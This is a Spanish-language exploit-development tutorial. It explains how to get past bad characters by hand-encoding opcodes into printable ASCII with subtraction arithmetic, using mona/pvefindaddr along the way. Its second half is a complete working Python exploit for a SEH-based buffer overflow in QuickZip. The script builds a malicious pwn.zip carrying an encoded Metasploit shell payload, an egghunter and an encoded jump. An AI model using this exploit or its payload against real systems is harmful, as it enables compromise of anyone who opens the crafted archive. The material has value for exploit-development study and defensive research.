Si alguna vez os habéis puesto con desarrollo de exploits os
resultará familiar este tema.
Los badchars son caracteres que hacen que nuestro exploit no funcione
adecuadamente debido al funcionamiento de la aplicación.
Por poner un ejemplo, si el binario a explotar utiliza la
función strcpy entonces como sabemos el carácter \x00 indica el fin de línea.
Por lo que si insertamos nuestra shellcode con un carácter \x00 no la seguirá
ejecutando y nos estropeará por completo el exploit.
"Encodeamos" los payloads y punto. ¿Seguro? Pues esto está bien
cuando tenemos los badchars típicos como \x00, \x0d etc. Pero ¿Y cuando tenemos
muchos badchars? ¿Y si entre esos badchars tenemos algunos de caracteres imprimibles?. Pues que metasploit
y sus maravillosos encoders dirán algo como esto:
En este caso tenemos otras alternativas como un encoder que hay publicado que encodea en caracteres imprimibles ascii, muy útil en
algunos casos. Para encodear una shellcode con este encoder se hace de la
siguiente manera:
Como vemos se le pasa el registro base y las opciones que
queramos ademas de meterle como input lo que queremos encodear.
¿Qué es el registro base? Bien, este encoder funciona así.
Para "desencodear" la shellcode y ejecutarla lo que necesita es tener en este
registro base, en este caso eax, la dirección de memoria donde empieza la
shellcode. Debemos de realizar las operaciones necesarias
dejando en eax finalmente la dirección de memoria donde empiece nuestra
shellcode y éste la "desencodeará".
Como hemos dicho antes, esto es un encoder de caracteres con
letras y números Genial. Y si tenemos que alguna de las letras o números
también es un badchar? Pues está la cosa un poco complicada.
Debemos de crearnos nuestro propio encoder. Existe una técnica que vamos a explicar a continuación. A grandes rasgos la técnica consiste en mediante
operaciones matemáticas llegar a guardar en la pila los opcodes de la shellcode que queramos ejecutar.
Esto se hace de la siguiente manera:
Pongamos el ejemplo de queremos escribir las siguientes
instrucciones en la pila y que forman parte de nuestra shellcode/egghunter:
Estos opcodes son : \x81\xc0\x00\x02\x00\x00\xff\xe4
Supongamos que tenemos como badchar el \x81,\xc0.
No podemos meterlos así en el
exploit. Entonces lo que haremos será "encodearlos" con una técnica de restas
hexadecimales.El motivo de usar restas es por que en este caso el opcode para la instrucción ADD de suma es un badchar y no es posible utilizarlo.
Lo primero que hacemos es separar las instrucciones en
grupos de 4 bytes. En este caso:
\x81\xc0\x00\x02
\x00\x00\xff\xe4
Ahora lo que se hace es empezar desde el ultimo valor hacia el primero ya que vamos a pushearlos en la pila:
\x00\x00\xff\xe4:
Lo ponemos para little endian --> \xe4\xff\x00\x00
Despues se realiza la siguiente operación (2º complemento): 0xFFFFFFFF - 0xe4ff0000 +1 = 0x1B010000
Ahora necesitamos encontrar tres números con los caracteres que no son badchars que entre ellos sumen ese valor. Para calcular estos valores lo que hacemos es dividirlo entre tres:
0x1B010000/3 = 0x90055555
Si ahora sumamos estos valores:
90055555
90055555+
90055555
--------------
1B00FFFF
Ahora lo que hacemos es recalcular:
1 1111 ***
90055555
90055555+
90055556
-------------
1B0100000
*** Los numeros 1 de arriba son los acarreos. (sumas hexadecimales)
Supongamos que el 90 es un badchar pues volveriamos a recalcular por ejemplo asi:
5E555555
5E555555+
5E565556
--------------
1B010000
Hacemos lo mismo con el otro valor y nos queda:
54546A2A
54546A2A+
55566B2B
---------------
FDFF3F7F
Finalmente se coloca todo de la siguiente manera:
encode = (
"\x25\x4a\x4d\x4e\x55" #AND EAX,554E4D4A
"\x25\x35\x32\x31\x2a" #AND EAX, 2a313235 .Con estas operaciones ponemos a 0 el registro eax.
"\x2d\x55\x55\x55\x5e" #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x55\x55\x55\x5e" #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x56\x55\x56\x5e" #operaciones matematicas sobre eax (sub en este caso)
"\x50" #guardamos en la pila eax
"\x25\x4a\x4d\x4e\x55" #ponemos a cero eax
"\x25\x35\x32\x31\x2a" #ponemos a cero eax
"\x2d\x2a\x6a\x54\x54" #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x2a\x6a\x54\x54" #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x2b\x6b\x56\x55" #operaciones matematicas sobre eax (sub en este caso)
"\x50" guardamos eax en la pila.
)
Cómo este cálculo es algo engorroso pues el amigo
CorelanC0der lo que hizo fue incluirlo en su script pvefindaddr (la versión mas nueva mona.py parece que no incluye esta funcionalidad), el cuál ayuda
muchísimo cuando te encuentras con badchars.
!pvefindaddr encode ascii 81c000020000ffe4
La caña verdad? Mejor aún. Si nos encontramos que nos
devuelve algún carácter badchar, tan fácil como lo
siguiente:
!pvefindaddr encode ascii 81c000020000ffe4 5e
Donde 5e seria nuestro badchar que no nos vale:
El script de pvefindaddr es algo dificil de encontrar hoy en dia por lo que lo colgamos aqui:
https://www.dropbox.com/s/2o6yfavsf9stec8/pvefindaddr.py
Vamos a ver como toma forma lo explicado anteriormente de manera práctica en un exploit:
Por ponernos en materia. El software vulnerable se trata de QuickZip y la vulnerabilidad consiste en un SEH based overflow.
Desde el siguiente POC:
#!/usr/bin/python
local_file_header
= (
"\x50\x4B\x03\x04" #local file header signature (4bytes)
"\x14\x00" #version needed to extract (2 bytes)
"\x00\x00" #general purpose bit flag (2 bytes)
"\x00\x00" #compresion method (2 bytes)
"\xB7\xAC" #last mod file time (2 bytes)
"\xCE\x34" #last mod file date (2 bytes)
"\x00\x00\x00\x00" #crc-32 (4 bytes)
"\x00\x00\x00\x00" #compressed size (4 bytes)
"\x00\x00\x00\xe4" #uncompressed size (4 bytes)
"\x0f\x00" #file name lenght (2 bytes)(variable size)
"\x00\x00" #extra field length (2 bytes)(variable size)
)
central_file_header
= (
"\x50\x4B\x01\x02" #central file header signature (4 bytes)
"\x14\x00" #version made by (2 bytes)
"\x14\x00" #version needed to extract (2
bytes)
"\x00\x00" #general purpose but flag (2 bytes)
"\x00\x00" #compression method (2 bytes)
"\xB7\xAC" #last mod file time (2 bytes)
"\xCE\x34" #last mod file date (2 bytes)
"\x00\x00\x00\x00" #crc-32
(4 bytes)
"\x00\x00\x00\x00" #compressed size (4 bytes)
"\x00\x00\x00\x00" #uncompressed size (4 bytes)
"\xe4\x0f"
#file name length (2 bytes)
(variable size)
"\x00\x00" #extra field length (2 bytes) (variable size)
"\x00\x00" #file comment lenght (2 bytes)(variable size)
"\x00\x00" #disk number start (2 bytes)
"\x01\x00" #internal file atributes (2 bytes)
"\x24\x00\x00\x00" #external file atributes (4 bytes)
"\x00\x00\x00\x00" #relative offset of local header (4 bytes)
)
end_of_central_directory
= (
"\x50\x4B\x05\x06" #end of central dir signature (4 bytes)
"\x00\x00" #number of this disk (2 bytes)
"\x00\x00" #number of the disk with the start
of the central directory (2 bytes)
"\x01\x00" #total number of entries in the
central directory on this disk (2 bytes)
"\x01\x00" #total number of entries in the
central directory (2 bytes)
"\x12\x10\x00\x00" #size of the central directory (4 bytes)
"\x02\x10\x00\x00" #offset of start of central directory with
respect to the starting disk (4 bytes) number
"\x00\x00" #.zip file comment length (2 bytes) (variable size)
)
buff =
"A" * 4064 + ".txt"
mefile =
open('pwn.zip','w');
mefile.write(local_file_header
+ buff + central_file_header + buff + end_of_central_directory);
mefile.close()
Abrimos el quickzip con nuestre debugger favorito y
observamos como se trata de un seh based overflow, y que si pasamos la
excepción con shift+f9 sobrescribiramos EIP:
Lo primero que debemos es calcular el offset en el cual
conseguiremos manipular eip a nuestro antijo y como SEH Based overflow que es,
debemos buscar un pop pop retn. Podemos hacerlo con mona así
Primero creamos el pattern con¡mona pc 4064:
Posteriormente buscamos un pop pop ret con ¡mona seh:
#pop pop
ret quickzip 00407A33.
Una vez que insertamos las instruccion 00407a33 al meter el
nullbyte no nos queda espacio para saltar hacia delente, por lo que tenemos que
saltar hacia atrás:
Como tenemos muy poco espacio solo cabrá un egghunter por lo
que vamos a ver si tenemos por ahí la shellcode en memoria, para ello creamos
una shellcode de prueba con un patrón delante (w00tw00t) como viene siendo
habitual:
Una vez que conseguimos el crash lo que haremos será
comparar con mona en la memoria de la siguiente manera:
¡mona compare –f C:\shellcode.bin
Con este comando buscamos si nuestra shellcode se encuentra
sin modificar en la memoria, si esto es así podremos con un egghunter buscarla
y saltar hacia ella:
Parece que se encuentra sin problemas. También podemos
buscarla con:
¡mona find –ascii w00tw00t
Una vez que tenemos esto lo que haremos será saltar hacia
atrás y ejecutar el egghunter.La aplicación solo acepta carácteres alfanúmericos, por lo que tenemos que utilizar algun encoder.
Podemos encodearlo con el encoder alpha de metasploit como se muestra
a continuación:
O con la aplicación alpha2:
Como vemos durante la ejecución vemos que va a dar un salto
hacia atrás de pocos bytes, y luego desde ahí haremos un salto a nuestro
egghunter encodeado, ya que tenemos que insertar las siguientes instrucciones:
#add
ebp,0x43E
Esto en ensamblador queda \x81\xc5\x3e\x04\x00\x00\xff\xe5
Ahora vamos a hacer lo mismo pero vamos a usar la técnica del encoder propio con las
operaciones matemáticas visto en este exploit
Tras diversas operaciones de alineamiento de esp y otros problemas tendremos un exploit "encodeado" y funcionando para windows sp3
#!/usr/bin/python
local_file_header = (
"\x50\x4B\x03\x04" #local file header signature (4bytes)
"\x14\x00" #version needed to extract (2 bytes)
"\x00\x00" #general purpose bit flag (2 bytes)
"\x00\x00" #compresion method (2 bytes)
"\xB7\xAC" #last mod file time (2 bytes)
"\xCE\x34" #last mod file date (2 bytes)
"\x00\x00\x00\x00" #crc-32 (4 bytes)
"\x00\x00\x00\x00" #compressed size (4 bytes)
"\x00\x00\x00\xe4" #uncompressed size (4 bytes)
"\x0f\x00" #file name lenght (2 bytes)(variable size)
"\x00\x00" #extra field length (2 bytes)(variable size)
)
central_file_header = (
"\x50\x4B\x01\x02" #central file header signature (4 bytes)
"\x14\x00" #version made by (2 bytes)
"\x14\x00" #version needed to extract (2 bytes)
"\x00\x00" #general purpose but flag (2 bytes)
"\x00\x00" #compression method (2 bytes)
"\xB7\xAC" #last mod file time (2 bytes)
"\xCE\x34" #last mod file date (2 bytes)
"\x00\x00\x00\x00" #crc-32 (4 bytes)
"\x00\x00\x00\x00" #compressed size (4 bytes)
"\x00\x00\x00\x00" #uncompressed size (4 bytes)
"\xe4\x0f" #file name length (2 bytes) (variable size)
"\x00\x00" #extra field length (2 bytes) (variable size)
"\x00\x00" #file comment lenght (2 bytes)(variable size)
"\x00\x00" #disk number start (2 bytes)
"\x01\x00" #internal file atributes (2 bytes)
"\x24\x00\x00\x00" #external file atributes (4 bytes)
"\x00\x00\x00\x00" #relative offset of local header (4 bytes)
)
end_of_central_directory = (
"\x50\x4B\x05\x06" #end of central dir signature (4 bytes)
"\x00\x00" #number of this disk (2 bytes)
"\x00\x00" #number of the disk with the start of the central directory (2 bytes)
"\x01\x00" #total number of entries in the central directory on this disk (2 bytes)
"\x01\x00" #total number of entries in the central directory (2 bytes)
"\x12\x10\x00\x00" #size of the central directory (4 bytes)
"\x02\x10\x00\x00" #offset of start of central directory with respect to the starting disk (4 bytes) number
"\x00\x00" #.zip file comment length (2 bytes) (variable size)
)
#msfencode -e x86/alpha_upper -i shell -t perl [*] x86/alpha_upper succeeded with size 696 (iteration=1)
shellcode = (
"w00tw00t"
"\x89\xe3\xd9\xee\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43"
"\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58"
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42"
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48"
"\x4b\x39\x45\x50\x45\x50\x45\x50\x35\x30\x4b\x39\x5a\x45"
"\x36\x51\x38\x52\x43\x54\x4c\x4b\x50\x52\x50\x30\x4c\x4b"
"\x31\x42\x44\x4c\x4c\x4b\x56\x32\x35\x44\x4c\x4b\x44\x32"
"\x46\x48\x34\x4f\x58\x37\x50\x4a\x47\x56\x36\x51\x4b\x4f"
"\x50\x31\x39\x50\x4e\x4c\x47\x4c\x43\x51\x53\x4c\x33\x32"
"\x56\x4c\x57\x50\x49\x51\x58\x4f\x44\x4d\x43\x31\x39\x57"
"\x4b\x52\x4c\x30\x36\x32\x36\x37\x4c\x4b\x31\x42\x44\x50"
"\x4c\x4b\x31\x52\x57\x4c\x45\x51\x48\x50\x4c\x4b\x57\x30"
"\x43\x48\x4b\x35\x59\x50\x54\x34\x30\x4a\x45\x51\x48\x50"
"\x36\x30\x4c\x4b\x47\x38\x32\x38\x4c\x4b\x56\x38\x47\x50"
"\x35\x51\x4e\x33\x5a\x43\x37\x4c\x57\x39\x4c\x4b\x36\x54"
"\x4c\x4b\x55\x51\x58\x56\x56\x51\x4b\x4f\x56\x51\x39\x50"
"\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x55\x51\x38\x47\x37\x48"
"\x4b\x50\x54\x35\x4a\x54\x45\x53\x43\x4d\x4c\x38\x37\x4b"
"\x33\x4d\x56\x44\x42\x55\x4d\x32\x36\x38\x4c\x4b\x31\x48"
"\x31\x34\x33\x31\x48\x53\x55\x36\x4c\x4b\x34\x4c\x30\x4b"
"\x4c\x4b\x56\x38\x35\x4c\x33\x31\x39\x43\x4c\x4b\x34\x44"
"\x4c\x4b\x43\x31\x38\x50\x4d\x59\x37\x34\x56\x44\x37\x54"
"\x31\x4b\x51\x4b\x53\x51\x50\x59\x50\x5a\x50\x51\x4b\x4f"
"\x4d\x30\x30\x58\x31\x4f\x50\x5a\x4c\x4b\x44\x52\x5a\x4b"
"\x4b\x36\x31\x4d\x55\x38\x50\x33\x36\x52\x55\x50\x45\x50"
"\x35\x38\x43\x47\x32\x53\x46\x52\x31\x4f\x31\x44\x32\x48"
"\x50\x4c\x33\x47\x31\x36\x43\x37\x4b\x4f\x39\x45\x48\x38"
"\x4c\x50\x43\x31\x53\x30\x55\x50\x51\x39\x59\x54\x36\x34"
"\x50\x50\x45\x38\x46\x49\x4b\x30\x42\x4b\x55\x50\x4b\x4f"
"\x58\x55\x56\x30\x46\x30\x56\x30\x50\x50\x31\x50\x50\x50"
"\x51\x50\x56\x30\x35\x38\x4a\x4a\x44\x4f\x49\x4f\x4d\x30"
"\x4b\x4f\x49\x45\x4c\x49\x38\x47\x53\x58\x39\x50\x39\x38"
"\x33\x31\x46\x5a\x55\x38\x33\x32\x45\x50\x53\x31\x4f\x4b"
"\x4c\x49\x5a\x46\x32\x4a\x32\x30\x46\x36\x36\x37\x52\x48"
"\x4c\x59\x59\x35\x44\x34\x55\x31\x4b\x4f\x38\x55\x53\x58"
"\x35\x33\x42\x4d\x53\x54\x43\x30\x4d\x59\x4b\x53\x30\x57"
"\x46\x37\x50\x57\x50\x31\x4c\x36\x42\x4a\x44\x52\x31\x49"
"\x46\x36\x4a\x42\x4b\x4d\x42\x46\x48\x47\x57\x34\x31\x34"
"\x47\x4c\x55\x51\x43\x31\x4c\x4d\x57\x34\x31\x34\x54\x50"
"\x58\x46\x43\x30\x47\x34\x31\x44\x50\x50\x30\x56\x51\x46"
"\x50\x56\x51\x56\x46\x36\x30\x4e\x31\x46\x46\x36\x51\x43"
"\x31\x46\x52\x48\x43\x49\x38\x4c\x37\x4f\x4b\x36\x4b\x4f"
"\x39\x45\x4d\x59\x4b\x50\x50\x4e\x31\x46\x30\x46\x4b\x4f"
"\x46\x50\x32\x48\x55\x58\x4b\x37\x45\x4d\x55\x30\x4b\x4f"
"\x58\x55\x4f\x4b\x4a\x50\x48\x35\x39\x32\x36\x36\x33\x58"
"\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x4e\x35\x37\x4c"
"\x44\x46\x33\x4c\x54\x4a\x4b\x30\x4b\x4b\x4d\x30\x43\x45"
"\x45\x55\x4f\x4b\x30\x47\x42\x33\x44\x32\x42\x4f\x43\x5a"
"\x33\x30\x50\x53\x4b\x4f\x38\x55\x41\x41"
)
print "La longitud de la shellcode es: %i" %len(shellcode)
# muy importante si el nombre del fichero no son 4064 bytes exactamente no rula :P
# offset 298 (seh) 4064-302
#pop pop ret 00407A33 file not found didn't work
#hacemos un salto para atras con los bytes que tenemos y condicionales
#FFFFFC18
#egghunter usando alpha skynet base address ebp
egghunter = (
"UYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2"
"BB0BBXP8ACJJI3VMQYZKODOPBV2SZC2V88MFNGL35PZRTJ"
"O88T76PVPBTLKKJNOCEKZNOBUZGKOKWA"
)
print "La longitud del egghunter es: %i" %len(egghunter)
#inicio del egghunter 0012FAD6
#observamos que entre EBP y el egghunter hay 1086 bytes que son 43E bytes por lo que:
#add ebp,0x43E, jmp ebp (de esta manera tendremos en eax la direccion de memoria de nuestro egghunter)
#Full opcode : \x81\xc5\x3e\x04\x00\x00\xff\xe5
jumpencod = (
"\x58\x58\x58\x58\x50\x5c" # popeax*4 , push eax, pop esp
"\x25\x4A\x4D\x4E\x55"
"\x25\x35\x32\x31\x2A"
"\x2D\x55\x55\x55\x5E"
"\x2D\x55\x55\x55\x5E"
"\x2D\x56\x55\x56\x5D"
"\x50"
"\x25\x4A\x4D\x4E\x55"
"\x25\x35\x32\x31\x2A"
"\x2D\x2A\x68\x40\x53"
"\x2D\x2A\x69\x40\x54"
"\x2D\x2B\x69\x40\x54"
"\x50"
)
#El salto hacia atras es de 86 bytes para ejecutar nuestro codigo encodeado
print "La longitud del salto encodeado es: %i" %len(jumpencod)
buff = egghunter + "A" * 84 + jumpencod + "A" * 28 + "\x74\xf9\xff\xff" + "\x33\x7a\x40\x00" + shellcode + "C" * 3058 + ".txt"
mefile = open('pwn.zip','w');
mefile.write(local_file_header + buff + central_file_header + buff + end_of_central_directory);
mefile.close()
print "Escribiendo shellcode"
mefile = open('C:\shellcode.bin','w');
mefile.write(shellcode)
mefile.close()